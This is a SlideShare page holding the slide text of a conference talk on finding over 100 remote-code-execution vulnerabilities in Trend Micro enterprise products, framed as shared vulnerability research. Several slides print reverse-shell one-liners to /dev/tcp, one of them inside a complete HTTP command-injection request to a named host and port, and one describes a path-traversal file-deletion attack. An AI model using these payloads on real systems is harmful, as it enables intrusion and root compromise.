Continuous intrusion: Why CI tools are an attacker’s best friends
Nikhil Mittal1.8K views

Similar to I got 99 trends and a # is all of them

Thick Application Penetration Testing: Crash Course by
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseScott Sutherland
16.7K views39 slides
Red team-view-gaps-in-the-serverless-application-attack-surface by
Red team-view-gaps-in-the-serverless-application-attack-surfaceRed team-view-gaps-in-the-serverless-application-attack-surface
Red team-view-gaps-in-the-serverless-application-attack-surfacePriyanka Aash
1.6K views32 slides
Thick Application Penetration Testing - A Crash Course by
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash CourseNetSPI
4.7K views39 slides
SOHOpelessly Broken by
SOHOpelessly BrokenSOHOpelessly Broken
SOHOpelessly BrokenThe Security of Things Forum
653 views47 slides
DC612 Day - Hands on Penetration Testing 101 by
DC612 Day - Hands on Penetration Testing 101DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101dc612
4.3K views61 slides
RIoT (Raiding Internet of Things) by Jacob Holcomb by
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob HolcombPriyanka Aash
1.1K views51 slides

Similar to I got 99 trends and a # is all of them(20)

Thick Application Penetration Testing: Crash Course by Scott Sutherland
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
Scott Sutherland16.7K views
Red team-view-gaps-in-the-serverless-application-attack-surface by Priyanka Aash
Red team-view-gaps-in-the-serverless-application-attack-surfaceRed team-view-gaps-in-the-serverless-application-attack-surface
Red team-view-gaps-in-the-serverless-application-attack-surface
Priyanka Aash1.6K views
Thick Application Penetration Testing - A Crash Course by NetSPI
Thick Application Penetration Testing - A Crash CourseThick Application Penetration Testing - A Crash Course
Thick Application Penetration Testing - A Crash Course
NetSPI4.7K views
DC612 Day - Hands on Penetration Testing 101 by dc612
DC612 Day - Hands on Penetration Testing 101DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101
dc6124.3K views
RIoT (Raiding Internet of Things) by Jacob Holcomb by Priyanka Aash
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
Priyanka Aash1.1K views
Real World Application Threat Modelling By Example by NCC Group
Real World Application Threat Modelling By ExampleReal World Application Threat Modelling By Example
Real World Application Threat Modelling By Example
NCC Group18.1K views
How to measure your security response readiness? by Tomasz Jakubowski
How to measure your security response readiness?How to measure your security response readiness?
How to measure your security response readiness?
Tomasz Jakubowski130 views
CSS17: Houston - Protecting Web Apps by Alert Logic
CSS17: Houston - Protecting Web AppsCSS17: Houston - Protecting Web Apps
CSS17: Houston - Protecting Web Apps
Alert Logic 614 views
Css sf azure_8-9-17-protecting_web_apps_stephen coty_al by Alert Logic
Css sf azure_8-9-17-protecting_web_apps_stephen coty_alCss sf azure_8-9-17-protecting_web_apps_stephen coty_al
Css sf azure_8-9-17-protecting_web_apps_stephen coty_al
Alert Logic 99 views
CSS 17: NYC - Protecting your Web Applications by Alert Logic
CSS 17: NYC - Protecting your Web ApplicationsCSS 17: NYC - Protecting your Web Applications
CSS 17: NYC - Protecting your Web Applications
Alert Logic 255 views
Pursuing evasive custom command & control - GuideM by Mark Secretario
Pursuing evasive custom command & control - GuideMPursuing evasive custom command & control - GuideM
Pursuing evasive custom command & control - GuideM
Mark Secretario433 views
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan... by Aditya K Sood
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
BlackHat 2014 Briefings - Exploiting Fundamental Weaknesses in Botnet C&C Pan...
Aditya K Sood11.8K views
Automating cloud security - Jonny Griffin by Jonnathan Griffin
Automating cloud security - Jonny GriffinAutomating cloud security - Jonny Griffin
Automating cloud security - Jonny Griffin
Jonnathan Griffin105 views
Controlling Access to IBM i Systems and Data by Precisely
Controlling Access to IBM i Systems and DataControlling Access to IBM i Systems and Data
Controlling Access to IBM i Systems and Data
Precisely915 views
For Business's Sake, Let's focus on AppSec by Lalit Kale
For Business's Sake, Let's focus on AppSecFor Business's Sake, Let's focus on AppSec
For Business's Sake, Let's focus on AppSec
Lalit Kale447 views
AppSec California 2016 - Making Security Agile by Oleg Gryb
AppSec California 2016 - Making Security AgileAppSec California 2016 - Making Security Agile
AppSec California 2016 - Making Security Agile
Oleg Gryb933 views

More from Roberto Suggi Liverani

None More Black - the Dark Side of SEO by
None More Black - the Dark Side of SEONone More Black - the Dark Side of SEO
None More Black - the Dark Side of SEORoberto Suggi Liverani
21K views58 slides
Bridging the gap - Security and Software Testing by
Bridging the gap - Security and Software TestingBridging the gap - Security and Software Testing
Bridging the gap - Security and Software TestingRoberto Suggi Liverani
1.2K views31 slides
Black Energy18 - Russian botnet package analysis by
Black Energy18 - Russian botnet package analysisBlack Energy18 - Russian botnet package analysis
Black Energy18 - Russian botnet package analysisRoberto Suggi Liverani
1.8K views48 slides
XPath Injection by
XPath InjectionXPath Injection
XPath InjectionRoberto Suggi Liverani
7.1K views23 slides
Web Spam Techniques by
Web Spam TechniquesWeb Spam Techniques
Web Spam TechniquesRoberto Suggi Liverani
78.8K views53 slides
Reversing JavaScript by
Reversing JavaScriptReversing JavaScript
Reversing JavaScriptRoberto Suggi Liverani
2.9K views48 slides

Recently uploaded

Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueShapeBlue
224 views7 slides
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue by
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlueCloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlueShapeBlue
137 views13 slides
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueShapeBlue
139 views15 slides
Initiating and Advancing Your Strategic GIS Governance Strategy by
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance StrategySafe Software
184 views68 slides
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue by
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueWhat’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueShapeBlue
265 views23 slides
The Role of Patterns in the Era of Large Language Models by
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language ModelsYunyao Li
91 views65 slides

Recently uploaded(20)

Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue by ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlueElevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
Elevating Privacy and Security in CloudStack - Boris Stoyanov - ShapeBlue
ShapeBlue224 views
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue by ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlueCloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
CloudStack Managed User Data and Demo - Harikrishna Patnala - ShapeBlue
ShapeBlue137 views
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue by ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlueCloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
CloudStack Object Storage - An Introduction - Vladimir Petrov - ShapeBlue
ShapeBlue139 views
Initiating and Advancing Your Strategic GIS Governance Strategy by Safe Software
Initiating and Advancing Your Strategic GIS Governance StrategyInitiating and Advancing Your Strategic GIS Governance Strategy
Initiating and Advancing Your Strategic GIS Governance Strategy
Safe Software184 views
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue by ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlueWhat’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
What’s New in CloudStack 4.19 - Abhishek Kumar - ShapeBlue
ShapeBlue265 views
The Role of Patterns in the Era of Large Language Models by Yunyao Li
The Role of Patterns in the Era of Large Language ModelsThe Role of Patterns in the Era of Large Language Models
The Role of Patterns in the Era of Large Language Models
Yunyao Li91 views
NTGapps NTG LowCode Platform by Mustafa Kuğu
NTGapps NTG LowCode Platform NTGapps NTG LowCode Platform
NTGapps NTG LowCode Platform
Mustafa Kuğu437 views
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue by ShapeBlue
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue
2FA and OAuth2 in CloudStack - Andrija Panić - ShapeBlue
ShapeBlue152 views
"Surviving highload with Node.js", Andrii Shumada by Fwdays
"Surviving highload with Node.js", Andrii Shumada "Surviving highload with Node.js", Andrii Shumada
"Surviving highload with Node.js", Andrii Shumada
Fwdays58 views
Live Demo Showcase: Unveiling Dell PowerFlex’s IaaS Capabilities with Apache ... by ShapeBlue
Live Demo Showcase: Unveiling Dell PowerFlex’s IaaS Capabilities with Apache ...Live Demo Showcase: Unveiling Dell PowerFlex’s IaaS Capabilities with Apache ...
Live Demo Showcase: Unveiling Dell PowerFlex’s IaaS Capabilities with Apache ...
ShapeBlue129 views
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or... by ShapeBlue
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
Zero to Cloud Hero: Crafting a Private Cloud from Scratch with XCP-ng, Xen Or...
ShapeBlue199 views
Future of AR - Facebook Presentation by Rob McCarty
Future of AR - Facebook PresentationFuture of AR - Facebook Presentation
Future of AR - Facebook Presentation
Rob McCarty65 views
Why and How CloudStack at weSystems - Stephan Bienek - weSystems by ShapeBlue
Why and How CloudStack at weSystems - Stephan Bienek - weSystemsWhy and How CloudStack at weSystems - Stephan Bienek - weSystems
Why and How CloudStack at weSystems - Stephan Bienek - weSystems
ShapeBlue247 views
Transcript: Redefining the book supply chain: A glimpse into the future - Tec... by BookNet Canada
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
Transcript: Redefining the book supply chain: A glimpse into the future - Tec...
BookNet Canada41 views
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda... by ShapeBlue
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
Hypervisor Agnostic DRS in CloudStack - Brief overview & demo - Vishesh Jinda...
ShapeBlue164 views
"Package management in monorepos", Zoltan Kochan by Fwdays
"Package management in monorepos", Zoltan Kochan"Package management in monorepos", Zoltan Kochan
"Package management in monorepos", Zoltan Kochan
Fwdays34 views
"Running students' code in isolation. The hard way", Yurii Holiuk by Fwdays
"Running students' code in isolation. The hard way", Yurii Holiuk "Running students' code in isolation. The hard way", Yurii Holiuk
"Running students' code in isolation. The hard way", Yurii Holiuk
Fwdays36 views

I got 99 trends and a # is all of them

  • 1. I got 99 trend’s and a # is all of them! How we found over 100 RCE vulnerabilities in Trend Micro software
  • 2. Agenda ▪ About us ▪ Motivation ▪ Targets ▪ Testing approach ▪ Pitfalls ▪ Overall results ▪ Conclusion ▪ References ▪ Smart Protection Server ▪ Data Loss Prevention Manager ▪ Control Manager ▪ InterScanWeb SecurityVirtual Appliance ▪ Mobile Security For Enterprise ▪ SafeSync For Enterprise 2
  • 3. About Us Roberto Suggi Liverani (@malerisch) ▪ Independent Security Researcher ▪ Discovered critical vulnerabilities in vendors such as: Microsoft, Google, Oracle, Mozilla, HPE ▪ Guest speaker at HiTB, EUSecWest, Ruxcon, Kiwicon, DEFCON and HackPra AllStars ▪ http://blog.malerisch.net 3
  • 4. About Us Steven Seeley (@mr_me) ▪ AWAE Content Developer at Offensive Security ▪ Independent Security Researcher at Source Incite – Focusing on high end desktop, enterprise and SCADA vulnerability discovery and exploitation ▪ Studies the CRCAWing Chun Martial Arts system ▪ Certified Scuba Diver and PersonalTrainer ▪ http://srcincite.io/ 4
  • 5. What This Presentation is NOT about! ▪ Dropping the zero-day we found ! ▪ A debate on vulnerability disclosure ▪ Putting downTrend Micro. Many other vendors have just as many, if not more vulnerabilities in their code It’s about: ▪ Sharing our failures, successes, approach to testing ▪ Helping other developers and security researchers 5
  • 7. Motivation ▪ Trend Micro wants to secure their software ▪ They have a bug bounty ▪ They have a ton of recently acquired / developed security solutions ▪ Knowledge is readily available ▪ Many focusing on desktop Antivirus, not enterprise security solutions ▪ Huge attack surface running privileged code ▪ Finally, we couldn't resist… 7
  • 8. Motivation “If the security industry is going to promote defense, then they, themselves, should not be defenseless.” 8
  • 9. Targets ▪ Smart Protection Server ▪ Data Loss Prevention Manager ▪ Control Manager ▪ InterScanWeb SecurityVirtual Appliance ▪ Threat Discovery Appliance ▪ Mobile Security for Enterprise (still zero-day) ▪ Safe Sync for Enterprise 9
  • 10. Testing approach “How can we fully compromise this product without user interaction?” 10
  • 11. Testing approach and methodology ▪ Low hanging fruit and most critical vulnerability classes – OS command injections and/or vulnerabilities that result in code execution – Weaknesses in frameworks – Authentication bypass ▪ Focus during vulnerability discovery phase: – Reverse engineering of binaries and libraries – Source code/scripts extraction and analysis – Discern third-party components fromTrend Micro code 11
  • 12. Testing approach ▪ Malware analysis approach – Study the binary, its behavior, components, communication – Understand who starts communication first (agent or server?) – Studying of the packets exchanged and the protocol format – Mapping of each action to network traffic observed via API hooking 12
  • 13. Testing Approach ▪ Looking for front-end patterns POST /singlepointAPI.dll HTTP/1.1 Host: [target] Content-Type: application/json Connection: close {"method_name":"get_object","params": {"name":"test","objectId":"3"}} 13
  • 14. Testing Approach ▪ Automate patterns – Search JavaScript for strings to build the (XHR) requests – Write a custom web scanner that will perform the following actions: 1. Find all operations and their associated parameters in the JavaScript code 2. Build base requests 3. Execute base requests and look for a specific status code and/or string 4. If interesting request, feed Burp web proxy and manually check presence of vulnerability/behavior 5. If vulnerability found, re-use parameters and values across other identified attack patterns 14
  • 15. Testing Approach ▪ Go behind the scenes – Using this approach, we found 80+ exploitable Remote Code Execution vulnerabilities in a single target – Approach used against differentTrend Micro targets – However, not ALL operations can be found from the web – Search the binaries for operations that are not triggered via the web application 15
  • 16. Testing Approach ▪ We found functions that were unlikely to have been tested for security vulnerabilities ▪ strings *.exe | grep -v '@|;|#|&|%|$|=|?|(|)|!|"|:|- |>|.|[0-9]|[A-Z]|^_|s|' | grep _ | sort –u ▪ strings *.dll | grep -v '@|;|#|&|%|$|=|?|(|)|!|"|:|- |>|.|[0-9]|[A-Z]|^_|s|' | grep _ | sort –u 16
  • 19. Pitfalls & difficulties ▪ Management – Managing many reports/exploits/vulnerabilities was very tricky ▪ This was reduced since we could send these report’s off to ZDI to help us – Found many duplicates between us ▪ Had to come out with a better system to share bugs! ▪ Software access – Getting up-to-date versions was very hard – Limited downloads – Trial license with 30 days duration for some products only ▪ Some functionality disabled due to lack of full license (e.g. Active Directory integration) 19
  • 20. Pitfalls & difficulties ▪ Mistakes and laziness – Rushing into a vulnerability class without understanding the context of the target – Not enabling all functionality ▪ Some bugs could only be triggered changing default state – Ignoring third party components or external software – Not setting up an enterprise network (e.g. AD, Exchange server, etc.) ▪ Authentication Bypass – A good number of discovered vulnerabilities still require authentication to trigger L 20
  • 23. What is it? ▪ Acts as a central data repository for internal network – URL and mail reputation data – Complimentary with Office Scan – Consumed byTrend Micro Office Scan clients running on workstations ▪ Smaller bandwidth consumption when updating patterns / querying URL validity ▪ Apache + PHP 5 onWindows ▪ How many vulnerabilities in this product? – 3x OS Command Injection vulnerabilities (1x introduced with a patch!) – 4x Privilege Escalation vulnerabilities ▪ Java codebase was actually quite strong … but… PHP had multiple vulnerabilities 23
  • 24. Approach ▪ We had no license… but we had access to patches ! ▪ Install patches via the web interface GUI So we performed a ghetto update install: – Pop a shell using an old vulnerability – Patch the install.sh to remove version detection and license checks – Run install.sh on the command line 24
  • 25. wcs_bwlists_handler Cmd Injection An exploitation walk through using a zero-day… 25
  • 26. Elevation of Privileges ▪ Simple elevation of privilege vulnerabilities – ntpdate.sh rc.local Elevation of Privileges – ProgramUpdateNotify.sh rc.local Elevation of Privileges – CDTPurge.sh crontab Elevation of Privileges – Tlogger crontab Elevation of Privileges ▪ The /etc/rc.local script executes two webserv owned & writable scripts ▪ The crontab executes two webserv owned and writable scripts, once a day and once an hour… 26
  • 27. Elevation of Privileges In /etc/rc.local we see execution of two different files… 27
  • 28. Elevation of Privileges # echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/tlogger # echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" > /usr/tmcss/bin/CDTPurge.sh In the crontab we see the same thing… 28
  • 29. Combining the vulnerabilities ... and we are root: 29
  • 30. Summary ▪ Initial injection requires authentication!! L ▪ The target is also riddled with CSRF and XSS issues – These issues have not yet been reported... ▪ Attackers cannot gain a root shell without client interaction – That’s not our style! ▪ No need to use an old kernel bug that could crash the kernel… ▪ Remember, this Command Injection vulnerability was introduced in a security patch! 30
  • 31. Results ▪ Hard to conclude, this is an on-going target ▪ We will address the authentication mechanism in the future! ▪ Still, we achieved remote code execution and elevated privileges! ▪ Patch available: https://success.trendmicro.com/solution/1117033 31
  • 32. Data Loss Prevention End of Life (EOL) 32
  • 33. What is it? ▪ Product to prevent IP theft and data loss within an organization ▪ Based on agent and network monitoring – Network inspection for different protocols – Agent supports multiple file formats – Policies based ▪ Previous security research was done by Kelly Lum and Zach Lanier – Stay Out of the Kitchen – The Kitchen's Finally Burned Down ▪ They identified some of the attack surface that we audited and found vulnerabilities in! – KeyView – DLP client agent 33
  • 34. Under the hood ▪ Server – ApacheTomcat with compiled CGI and a MySQL database – Web Server + Administrative web interface on port 8443 – Web Server (Tomcat) on port 8080 ▪ Used by DLP Crawler ▪ Dscctrl daemon SSL/TCP/8904 andTCP/8804 ▪ Used for agent communication (encrypted) ▪ Client – Custom protocol format for the DLP client agent – Client-side uses KeyView, a third party component. – KeyView parses approximately 200 file formats – KeyView runs as SYSTEM 34
  • 35. How many vulnerabilities in this product? ▪ Statistics (DLP + KeyView): – 42x vulnerabilities that lead to Remote Code Execution ▪ 26x triggerable without authentication and privileged – 1x Authentication bypass – 1x DoS (Denial of Service) ▪ Let’s discuss approach and the most interesting vulnerabilities – dlpCrawlerServerInvoker Deserialization of Untrusted Data – Unauthenticated Stored Cross Site Scripting – KeyView RTF fonttblTag Parsing Stack Buffer Overflow 35
  • 36. Attack Surface ▪ Extraction of web related files – /home/dgate/prod/manager/webapps/ dsc/WEB-INF/classes/ – /home/dgate/prod/manager/webapps/ dsc/WEB-INF/lib/ ▪ Decompile all classes and libraries – JAD / JD-Gui to decompile all classes ▪ Manually reviewing the source code – Use of an IDE to map the code 36
  • 37. Attack Surface ▪ Mapping attack surface ▪ Identify different type of client software – Noticed the Crawler agent software available for download ▪ Agent software is a separate package – Mapping use of third parties – Noticed use of keyview (more on this later) ▪ Mapping all external ports to processes 37
  • 38. dlpCrawlerServerInvoker Deserialization of Untrusted Data ▪ Analysis – The bug lies in the way the DLP Crawler agent works and communicates to the DLP server ▪ The DLP Crawler agents uses a specific port to pass data to the DLP server – Port 8080 – The protocol used is HTTP with Java serialized objects 38
  • 39. dlpCrawlerServerInvoker Deserialization of Untrusted Data Example of communication between the DLP Crawler agent and DLP Server 39
  • 40. dlpCrawlerServerInvoker Deserialization of Untrusted Data ▪ By looking at the HTTP POST request we notice important elements: – Lack of authentication mechanism – No challenge/nonce token required by the server – The communication is in clear-text ▪ Presence of Java-to-Java remoting – Java serialized objects are passed within the HTTP POST request 40
  • 41. dlpCrawlerServerInvoker Deserialization of Untrusted Data The dsc/invoker/dlpCrawlerServerInvoker is handled by the following code in com/dgatetech/common/crawler/sigagent/RemoteCrawlerAgent.java 41
  • 43. Unauthenticated Stored Cross Site Scripting ▪ Analysis – Encrypted communication defeated using API Monitor against bcrypt.dll and ncrypt.dll libraries – Lack of authentication between agent and server – Lack of input validation and output escaping on the DLP portal ▪ Attacker simulates a registering agent with an arbitrary XSS payload in its "computername" field – XSS payload is stored and rendered in two areas of the DLP administrative interface: ▪ /dsc/pages/administration/endpointmanagement/endpointsPortal.do ▪ /dsc/pages/dataProtection/accessControl/preListAccessControl.do 43
  • 45. Unauthenticated Stored Cross Site Scripting 45
  • 46. Unauthenticated Stored Cross Site Scripting In EndpointMgmtListAction.java, here, the epjsonArray.put() function: The getLinkedUrl() function builds the HTML code which will be embedded in JSON format: 46
  • 47. Unauthenticated Stored Cross Site Scripting ▪ How was it discovered? – After analyzing and decrypting traffic between agent and server ▪ By examining data following these principles: – Can data be controlled? – Is data changed by the application before rendering? – Are there filters, size limits or any preventing condition? – Is data rendered in an HTML context? – Is data directly or indirectly rendered? 47
  • 48. KeyView ▪ KeyView is a third party component ▪ Used by many DLP solutions ▪ Developed by Autonomy – now owned by HPE ▪ Its main role is to parse, index and convert files – Large support of file formats (more than 200) ▪ DLP Remote Crawler Agent also uses KeyView component – C:Program FilesTrend MicroDLP Remote Crawler Agentdllkvfilter.dll 48
  • 49. KeyView ▪ Finding a way to easily interact with KeyView: – How do we know that filter.exe uses KeyView? ▪ Reverse engineered and spotted a dynamic DLL load of kvfilter.dll ▪ Analysis of kvfilter.dll 49
  • 50. KeyView ▪ So the fuzzing approach can be as the following: – Command line: ”filter.exe <fuzzedfile> C:tempjunk.txt” ▪ The junk.txt file will be created by the application ▪ Obtain a valid corpus of sample files – Ideally these are traced and reduced – It doesn't matter if we only obtain a few samples, the target code is old ▪ do fuzz() while 1; – Hundreds of vulnerabilities discovered ▪ Focused only few highly exploitable conditions – Some of which affect the latest version and are still zero-day 50
  • 51. RTF fonttbl Tag Parsing Stack Buffer Overflow ▪ Analysis – RTF parsing library (rtfsr.dll) vulnerable to stack buffer overflow ▪ Caused due to incorrect placement of the { tag to close off one of the fonts within the font table ▪ Fault is in: – rtfsr!rtfFillBuffer+0x8734 (loc_7CBC83) – The function calls a strcpy() – this results in an overflow of the stack frames 51
  • 52. RTF fonttbl Tag Parsing Stack Buffer Overflow Corrupted Stack frames suck when trying to perform a RCA 52
  • 53. RTF fonttbl Tag Parsing Stack Buffer Overflow ▪ A crafted, embedded font allows instruction control ▪ Ideal situation for exploitation ▪ An attacker can modify a return address and take control of the software code execution flow ▪ 1990 called… 53
  • 54. RTF fonttbl Tag Parsing Stack Buffer Overflow ▪ Exploitation is made easier because the kvfilter.dll was not compiled with ASLR or SafeSEH support or Stack Cookies! ▪ These gadgets can be used to exit from the function and then hit the controlled code ▪ Compromise the client and then target the server! ▪ The vector can be a drive by download, such as Chrome 54
  • 55. KeyView - RTF fonttbl Tag Parsing Stack Buffer Overflow ▪ We created a simple PoC that pops a calc ▪ DLP policy is often set to scan files/folders, such as the downloads folder upon filesystem modification 55
  • 57. What is it? ▪ This is the heart of allTrend Micro products – Central management console that managesTrend Micro products ▪ Gateway, Mail server, File server, corporate desktop levels, etc. ▪ IIS, PHP, ASP and Compiled CGI ▪ Remote code execution means low privileged access due to IIS default settings ▪ How many vulnerabilities in this product? – 41x code execution brought via SQLi ▪ 14x of which do not require authentication – 8x Information disclosures ▪ Leveraged information disclosure for authentication bypass 57
  • 58. Motivation Other vulnerabilities had been discovered previously Where there are a few, there are probably many Will present on few SQL injection and an information disclosure one! 58
  • 59. ProgressReportCGI SQL Injection ▪ Unauthenticated, blind SQL Injection ▪ Allows an attacker to steal password hashes ▪ No need to crack the hashes, there is a pass the hash vulnerability as well ▪ Weak database service permissions, only running as NETWORKSERVICE ▪ Single authentication bypass for the ASP Interface ▪ Disclosed as ZDI-17-074 59
  • 60. ProgressReportCGI SQL Injection …now that we have a valid session 60
  • 62. AdHocQuery_Processor SQL Injection ▪ Combining two different vulnerabilities allows for unauthenticated remote code execution ▪ Low privileged code execution, however the local attack surface was not analyzed at the time ▪ Information disclosure and code execution vulnerabilities also existed in the PHP interface, which could have been combined also ▪ It just takes a single authentication bypass and you have several post authenticated SQL->RCE vulnerabilities to reach ▪ This bug was silently patched byTrend Micro 62
  • 63. modDLPTemplateMatch_drildown File Inclusion ▪ Very silly bug, simple Local File Inclusion ▪ Three Instances of this vulnerability because the code location was copied three times over in production… ▪ Needed a special primitive for modern local file inclusion 63
  • 64. modDLPTemplateMatch_drildown File Inclusion No authentication needed ! (But low privileged code execution, boo!) 64
  • 67. What is it? ▪ Secure web gateway – Inspect web traffic against known patterns, anti-malware database, URL reputation and other Trend Micro products ▪ ApacheTomcat and Struts 2 framework – Code implemented in IWSSGui.jar ▪ How many vulnerabilities in this product? – 41x Remote Code Execution vulnerabilities ▪ 4x do not require authentication – 1x Authentication bypass and 2x Information disclosure ▪ Previous patch for vulnerabilities found by ZDI failed: ZDI-16-351, ZDI-16-350, ZDI-16-349 & ZDI-16-348 ▪ The ability to bypass authentication – … and no, its not in the session filter rgod J 67
  • 68. Patch Bypass private String escapeParam(String strParam) { String afterParam = strParam; afterParam = afterParam.replace(""", """); afterParam = afterParam.replace("$", "$"); afterParam = afterParam.replace("`", "`"); return afterParam; } 68
  • 69. Patch Bypass `bash -i >& /dev/tcp/<ip>/<port> 0>&1` 69
  • 70. Other people’s findings ▪ Looks like we missed a few RCE vulnerabilities… – https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt (ConfigBackup?action=import) – https://www.korelogic.com/Resources/Advisories/KL-001-2017-001.txt (ConfigBackup?action=upload_check) ▪ Next time, we’ll pay more attention ▪ Now, lets review a single, critical vulnerability that has been patched! 70
  • 72. doPostMountDevice Unauthenticated Command Injection Vulnerability What is exeUihelperCmd anyway? 72
  • 73. doPostMountDevice Unauthenticated Command Injection Vulnerability …and what is exeCmd anyway? Hang on a tick… That‘s an interesting command ‘/etc/iscan/AdminUI/uihelper’ 73
  • 76. doPostMountDevice Unauthenticated Command Injection Vulnerability POST /rest/commonlog/log_setting/mount_device HTTP/1.1 Host: [host]:1812 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 77 {" mount_device":”`bash -i >& /dev/tcp/172.16.175.1/1337 0>&1`","cmd":" mount"} 76
  • 77. Patch 1. First, they check for a remote request, probably not the best way, since a SSRF can defeat this 77
  • 78. Patch 2. Then, a check to see if the mount_device is valid by calling isValidMountDevice() 78
  • 79. Patch 3. A string match that can’t be defeated! 79
  • 81. uihelper Elevation of Privilege ▪ The previous vulnerability pops a root shell… ▪ Using the function exeUiHelperCmd method in Java ▪ However, sometimes the injection was in a different sink, and it achieved code execution as the ‘iscan’ user ▪ As it turns out, exeUiHelperCmd is just a wrapper around Java’s exec() calling a SUID script that executes a command… ▪ We wanted root, so we used the ‘uihelper.sh’ to get root access 81
  • 82. uihelper.sh Elevation of Privilege 82
  • 85. Threat Discovery Appliance End of Life (EOL) 85
  • 86. What is it? ▪ Network monitor solution to inspect traffic against signatures/threat intelligence – End of Life, no longer a #Trend ▪ Appliance using CentOS with an ancient kernel ▪ Authentication Bypass via an unauthenticated file delete! ▪ How many vulnerabilities? – 9x OS Command Injection vulnerabilities in the CGI ▪ File upload with zip extraction! – 2x Authentication bypasses 86
  • 87. Directory Traversal Authentication Bypass Vulnerability ▪ Analysis – In theThreat Discovery Appliance, sessionid value is also used as a folder name under /var/log/ ▪ e.g. /var/log/e8d49ad18d202d671fffcd5e7f37ba8b – Inside the sessionid folder, a SQLite database is used to check whether the user is authenticated ▪ Static analysis was required to understand how it was working – Session management is handled by: /opt/TrendMicro/MinoritReport/lib/mini_httpd/utils.so ▪ In this library, the logoff mechanism caught our attention 87
  • 89. Directory Traversal Authentication Bypass Vulnerability ▪ Inside delete_session() function: – A reference to /var/log/session/%s/%s – Then following a call to system() with arguments as /bin/rm –rf %s – By tracing the %s, we realized that comes from the sessionid cookie parameter provided to the logoff request 89
  • 91. Directory Traversal Authentication Bypass Vulnerability ▪ Constraints – File needs to actually exist because there is a call to xstat() ▪ No special characters allowed to inject commands – Only way is to use the delete operation to achieve something ▪ Delete and reach default state (where admin password is known) ▪ ../../../../opt/TrendMicro/MinorityReport/etc/igsa.conf 91
  • 92. Directory Traversal Authentication Bypass Vulnerability ▪ Path to exploitation 1. Attacker triggers delete action of igsa.conf 2. Appliance becomes unusable, sysadmin will be forced to restart the box 3. Appliance will automatically create a new igsa file with a default admin password 4. Attacker waits until the box is restarted and use default password 92
  • 93. Directory Traversal Authentication Bypass Vulnerability How was it discovered? ▪ A technique was to inspect file system for changes in the last minute, after a logoff, by running a command such as: – find /* -path /proc -prune -o -cmin -1 – Inotify can also be used ▪ Also inspecting key folder (/var/log/sessionid/ ) to check what happened after logoff 93
